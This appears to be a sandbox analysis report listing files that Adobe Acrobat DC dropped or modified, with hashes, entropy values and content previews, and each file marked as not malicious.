SHA-256:	AB51C6FFCD10064D28E05DA9BAC79D445AE5F80151252EC85C84434FC2949B8E
SHA-512:	A16A378F2AD84DB0B63E8D5BD75933DF2C689178121D31C2A0DD19D4F85471D1AAF13600232B0A86BF7BA9FA9C8B1EFD677E7707572450F0C71214C6B5D1C663
Malicious:	false
Preview:	2024/07/02-06:47:26.786 1da0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/07/02-06:47:26.788 1da0 Recovering log #3.2024/07/02-06:47:26.789 1da0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.179901915938386
Encrypted:	false
SSDEEP:	6:BOABAq2PCHhJ2nKuAl9Ombzo2jMGIFUt84OAimZmw+4OA6/kwOCHhJ2nKuAl9OmT:EAKvBHAa8uFUt81Aim/+1A6/56HAa8RJ
MD5:	86E9E93D59D4CDBE591FA91D764A0264
SHA1:	26F4316DFB67848C3BD3EADAE42EF56BDE401A75
SHA-256:	AB51C6FFCD10064D28E05DA9BAC79D445AE5F80151252EC85C84434FC2949B8E
SHA-512:	A16A378F2AD84DB0B63E8D5BD75933DF2C689178121D31C2A0DD19D4F85471D1AAF13600232B0A86BF7BA9FA9C8B1EFD677E7707572450F0C71214C6B5D1C663
Malicious:	false
Preview:	2024/07/02-06:47:26.786 1da0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/07/02-06:47:26.788 1da0 Recovering log #3.2024/07/02-06:47:26.789 1da0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.976083759057505
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqs5ChsBdOg2HdZcaq3QYiub6P7E4T3y:Y2sRdskydMHS3QYhbS7nby
MD5:	3A6252E618FA24407CDEBE8118134E98
SHA1:	DEB889916FFD91D6B1DC72062480F23FA882B38A
SHA-256:	7F0F3DDFA854C7A893C311ABF5D23EF072829BD1EDCE5B4B2EC378887DD94018
SHA-512:	03F4AF33735CE65530AC3C2B4A95966C0FEA22607F6955E35D35B0AA2A7A75FC256BE754B094A4346EA13F5F96BE714CDC5A7D58A6A7E2CFC80EDED71A8166B4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13364477259320906","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144956},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ae838c87-e22f-4a7f-b0cf-d5a4f1b0b085.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.976083759057505
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqs5ChsBdOg2HdZcaq3QYiub6P7E4T3y:Y2sRdskydMHS3QYhbS7nby
MD5:	3A6252E618FA24407CDEBE8118134E98
SHA1:	DEB889916FFD91D6B1DC72062480F23FA882B38A
SHA-256:	7F0F3DDFA854C7A893C311ABF5D23EF072829BD1EDCE5B4B2EC378887DD94018
SHA-512:	03F4AF33735CE65530AC3C2B4A95966C0FEA22607F6955E35D35B0AA2A7A75FC256BE754B094A4346EA13F5F96BE714CDC5A7D58A6A7E2CFC80EDED71A8166B4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13364477259320906","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144956},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.233646783549896
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bWteEDEq:S43C4mS7fFi0KFYDjr3LWO3V3aw+bWUY
MD5:	22D3287FA6ECD677CAA340102909E7DB
SHA1:	0262B7A985AAB20420B565737F37297D03E0E876
SHA-256:	7EA29D48FDD6DD615B2F1BFBD53EA2FBDB8AA69E4D260609821F2FBA23F978F7
SHA-512:	C85E6982F836F1FDACE7D2FCFE54F60A3684823F7DF19F236A223D64EF0E8160D44F4AAF713C2CD3501915D91441EA9A867C3ECC4A99F8752896AF50F538500E
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.210687811998938
Encrypted:	false
SSDEEP:	6:BOAnq2PCHhJ2nKuAl9OmbzNMxIFUt84OA3rhZmw+4OA3r7kwOCHhJ2nKuAl9Ombg:EAnvBHAa8jFUt81A3N/+1A3/56HAa84J
MD5:	9B04F95FBFA27232EBF4BA31A225866A
SHA1:	2EBD57CB638AB07559B4FDA1C740DAB7A2404AB1
SHA-256:	1F83DFC555F999D2D116EDF7C4DC138A37C005D17D6419AA0C1BE21FCF56FD3B
SHA-512:	A9FF4382E767219290B898D1FD1109AEFB7DF8F0BA4AB2CD98A415F23AD210C058F964B2DF148649B0FDF3F6A824D854B1B351DCE48EB6A9A0CAA79226834748
Malicious:	false
Preview:	2024/07/02-06:47:26.859 1da0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/07/02-06:47:26.861 1da0 Recovering log #3.2024/07/02-06:47:26.861 1da0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.210687811998938
Encrypted:	false
SSDEEP:	6:BOAnq2PCHhJ2nKuAl9OmbzNMxIFUt84OA3rhZmw+4OA3r7kwOCHhJ2nKuAl9Ombg:EAnvBHAa8jFUt81A3N/+1A3/56HAa84J
MD5:	9B04F95FBFA27232EBF4BA31A225866A
SHA1:	2EBD57CB638AB07559B4FDA1C740DAB7A2404AB1
SHA-256:	1F83DFC555F999D2D116EDF7C4DC138A37C005D17D6419AA0C1BE21FCF56FD3B
SHA-512:	A9FF4382E767219290B898D1FD1109AEFB7DF8F0BA4AB2CD98A415F23AD210C058F964B2DF148649B0FDF3F6A824D854B1B351DCE48EB6A9A0CAA79226834748
Malicious:	false
Preview:	2024/07/02-06:47:26.859 1da0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/07/02-06:47:26.861 1da0 Recovering log #3.2024/07/02-06:47:26.861 1da0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240702104731Z-180.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	1.1158673236880685
Encrypted:	false
SSDEEP:	96:3MxKbkIYqEEMMEEEe+EEEEEEJAiV+f1YkD1c:l4Ut1YkBc
MD5:	5F1C6B6A1ED5670830EE47D67169BF1F
SHA1:	3E4A6253B3A2AAF5DD27C40BE3A8501649A4818F
SHA-256:	ED6184EACB792B64DEB1CDAC3506D92E7E14EAFEF9E36D51300B7627F417B97D
SHA-512:	E962F1A0182D71676175A73E0A6302A93F71F6421772A9D069A2406991D0565E874AF23C7FE53C4B5624571DEEE36FDEC4AEF4C10F7AA67F180BAD857811AD3A
Malicious:	false
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.026467887142631
Encrypted:	false
SSDEEP:	3:kkFklIClfllXlE/E/KRkzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB8V7lnklc:kKduxliBAIdQZV7I7kc3
MD5:	03B489A96548565DE6B4BFBA3CBB8681
SHA1:	364BBE4D05D8A00E73713A2B1E7BE8311067F331
SHA-256:	1F1427DD6CCAC9CCA95941A71E33D3393D69D006C7374F9EEE90D698FD2ECDCC
SHA-512:	D22379557042C58922D8A9F3478E271971E9464BFC3D3BBFDC64920D9F544DBB914B46CD95F48A8C16C273044F8CDFC11E72CD52E0EC24C14DBE813D83CD6CF7
Malicious:	false
Preview:	p...... ....`....X<Bm...(....................................................... ........!.M........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.6.0.7.9.b.8.c.0.9.2.9.c.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7196

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329032302632101
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJM3g98kUwPeUkwRe9:YvXKXv9A2vR/ZwHA/GMbLUkee9
MD5:	87BC35B2CA3B405A4F720A9F1C2C9EB4
SHA1:	11A99A93A76AB14D9C64041406966E7B686D3ECA
SHA-256:	548814C67D0DFD19370AB9AF497C1712EB06899131ED01EAB1E8962298AE8BD4
SHA-512:	AFD9C4E69A92EE5E593F4B4DD5C755CA68C88AC673E373997EF9A88E754C1B757D60BC299446BBA2E7D533147FE7D29BCEFB913D4F55516B54652291C6951916
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263711019805081
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfBoTfXpnrPeUkwRe9:YvXKXv9A2vR/ZwHA/GWTfXcUkee9
MD5:	1A94A30E31DAFEE70BA1219E9FA980A7
SHA1:	16EE39CCFEEC83940B2867109DFD95CF0A75138B
SHA-256:	CA5E820FED17BE2D3198BE3FC3F82DCF717A4AFF60E0E7E25E00F2636E549EEF
SHA-512:	051387EC3919F3F9E68FB90E759FEFB327F32A092C8A7217518EE6803FD3CA014A31E72F4A038FD8B7213BB75F21B87335164E0F78CCFB536A3D18B571A77145
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.24297881371975
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfBD2G6UpnrPeUkwRe9:YvXKXv9A2vR/ZwHA/GR22cUkee9
MD5:	39E91972C2A81690ECA76AC338093289
SHA1:	9AB3F55984CEA3C06EE54E4B1C46F2CD4E580596
SHA-256:	810A0B03A031D5D063D9331C77C449815D906CBCF7B8D5D0659A3AB7A877B49C
SHA-512:	F3296D483649D5034F39D41C561BC62FFDBEB4AA2C4D169248011D4FD95EF884D5E48EA5CE87A1B50B13759B1B57EEDE91160F359ACD73FF8611C91FCCFE8679
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.30477624974985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfPmwrPeUkwRe9:YvXKXv9A2vR/ZwHA/GH56Ukee9
MD5:	CEAF99FC94957AD76FAC917912B3DA67
SHA1:	146F5926C9514F7F995336476B314B0A3BE51CC8
SHA-256:	56B7C84A9A87012B75211B4BAC4EE6DB9C30527626987786871CECCC9AFB64B1
SHA-512:	F36E6AC17A2C8655EB471A7D73CEA21E9252005A51E27AD63CB8227BAB6F78C0AF3A5ED10BE454D02A46A0F054445CFD1DF52960B3F348A6AA33375EC111E0B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.268828784276886
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfJWCtMdPeUkwRe9:YvXKXv9A2vR/ZwHA/GBS8Ukee9
MD5:	373DACEA1153065057C750E320BDF643
SHA1:	B81F36408F7721F088C09EDCC2BEF2AB68BF5C37
SHA-256:	4ED9815107443190471E69675BDC646047B2D4B8E63F12B209C8A5F882533559
SHA-512:	4CBA36F840921FB14FDC733A04FDDF78FE65C0F523AAE68D9972CE9C058F93572006119CEF431771FCBDCCBEE8A3918B459131BC27B29C0A562F4D25906891D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.254518085911634
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJf8dPeUkwRe9:YvXKXv9A2vR/ZwHA/GU8Ukee9
MD5:	FB1F775E6CEB0310F66E8B0E6F486031
SHA1:	B9919B2398E84FC9CE063C9F46DBB4FC2C39698E
SHA-256:	70F837F1FAC8F92781EF9C2157CB4D5426C80E1A5DE1B42F5EA848DCEF4622AB
SHA-512:	59713D772C1C2E1246555024D6A78250CFC9DDD8CDE9EBF0769A5270BE1C99A6DA4DF93092C3EA7018E807471643180572E70D6B107DA0A76CE063F5CA99CFF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.25338970676377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfQ1rPeUkwRe9:YvXKXv9A2vR/ZwHA/GY16Ukee9
MD5:	5FCC0E37342C548A0731B66B6AEB77F4
SHA1:	F1A240B1D75C58F15D9A738138FA512C20BCBB32
SHA-256:	64E4047217099828C0471ECFC7511FE36FB1675A75601832552EDFC401167660
SHA-512:	7D32A880B6FE98B47D7ED0DD887D174F9BAF5953BF82F9030C9BF28BA89CF8745F1943D4925E22C2E9949648DCFC5BE452091A03F3E21C3397F103D7C6AE3CEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.270752136735678
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXiE9A2vB3/dVlPIHAR0YOVzAWxoAvJfFldPeUkwRe9:YvXKXv9A2vR/ZwHA/Gz8Ukee9
MD5:	6D12C7396CD667FD70C9B13173686911
SHA1:	88E16FED742D20823ACF49764B619DBE14A1289D
SHA-256:	994D6C11EDFE49287630A72E944535EF0738223ADD80D76FA81CED85622DDDE7
SHA-512:	E6A3FEB33F2A4987E54FE95395D0902FBD86D3CFAD61169CE3CD55581A06C3B4F6CDC71E15182DCC300AF8BF1E92AD409C6BEBD6659E8A44A4E4E9048222695C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"bfb76179-71c8-475e-babe-1ba2e58a1074","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1720096548717,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	5.736747961605946
Encrypted:	false
SSDEEP:	24:Yv6Xv9PJhrKLgENRcbrZbq00iCCBrwJo++ns8ct4mFJNX:YvK9PJhrEgigrNt0wSJn+ns8cvFJR
MD5:	801AD9213407B48661310ECC53E665E5
SHA1:	A616170F2C7BE63D56AF7FEFB8FCF4D512E8584F
SHA-256:	98527EE379B993447772CE069EDB6DE51B8EB2CCF19EF73A8DAEDD46D76AFE8F
SHA-512:	A1C6A52328AF6DFF7C1313EA4C835C3E44E84317542B61B71DBA4FC6008E80E7A8E4753D7BBAE4608C848F3D37E374BD3B125BAEF04A5AE629E1596C1A734DE9
Malicious:	false
